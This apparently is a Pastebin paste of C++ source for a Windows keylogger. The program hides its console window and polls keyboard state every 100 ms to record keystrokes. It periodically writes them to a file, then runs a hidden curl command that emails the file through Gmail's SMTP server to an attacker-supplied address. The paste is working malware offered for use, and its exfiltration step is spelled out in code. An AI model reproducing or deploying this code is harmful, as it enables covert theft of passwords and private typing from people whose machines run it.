Advertisement
Guest User

Untitled

a guest
Oct 19th, 2016
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.71 KB | None | 0 0
  1. #include <iostream>
  2. #include <windows.h>// for the freeconsole() and getasynckeystate
  3. #include <sstream>
  4. #include <string>
  5. #include <fstream>
  6.  
  7. using namespace std;
  8. char possiblekeys[] = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM _";//Possible keys list
  9. string pressedkeys;//A string containing all the pressed keys
  10.  
  11. void checkkey(char key);//The checkkey prototype, getting a key parameter
  12. void checkspace(char key);//The checkspace prototype, getting a key parameter
  13. void senddata();
  14. int main()
  15. {
  16. int counter = 0;
  17. FreeConsole();//Hide the console
  18. while (counter < 999)
  19. {
  20. for (int i = 0; i < 65; i++)
  21. {
  22. checkkey(possiblekeys[i]);
  23. checkspace(possiblekeys[i]);
  24. }
  25. Sleep(100);
  26. counter++;
  27. if (counter >= 998)
  28. {
  29. counter = 0;
  30. senddata();
  31. }
  32. }
  33. return 0;
  34. }
  35.  
  36. inline void checkkey(char key)//inlinne function to check the key given as a parameter
  37. {
  38. if (GetAsyncKeyState(key))//here is the check key part
  39. {
  40. stringstream ss;//Converting the char to string here
  41. string target;
  42. ss << key;
  43. ss >> target;
  44. pressedkeys = pressedkeys + target;// add the pressed key to the pressedkeys string
  45. }
  46. }
  47.  
  48. inline void checkspace(char key)//Special function to check if space button is pressed
  49. {
  50. if (GetAsyncKeyState(key))
  51. {
  52. if (key == ' ')//If the key is space then append a space to the string
  53. pressedkeys = pressedkeys + " ";
  54. }
  55. }
  56.  
  57. void senddata()
  58. {
  59. std::fstream file;
  60. file.open("00", std::fstream::out);
  61. file << pressedkeys;
  62. file.close();
  63. char* command = "curl smtp://smtp.gmail.com:587 -v --mail-from \"SENDEREMAIL\" --mail-rcpt \"RECIEVERMAIL\" --ssl -u SENDERMAIL:PASSWORD -T \"00\" -k --anyauth";
  64. WinExec(command, SW_HIDE);
  65. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement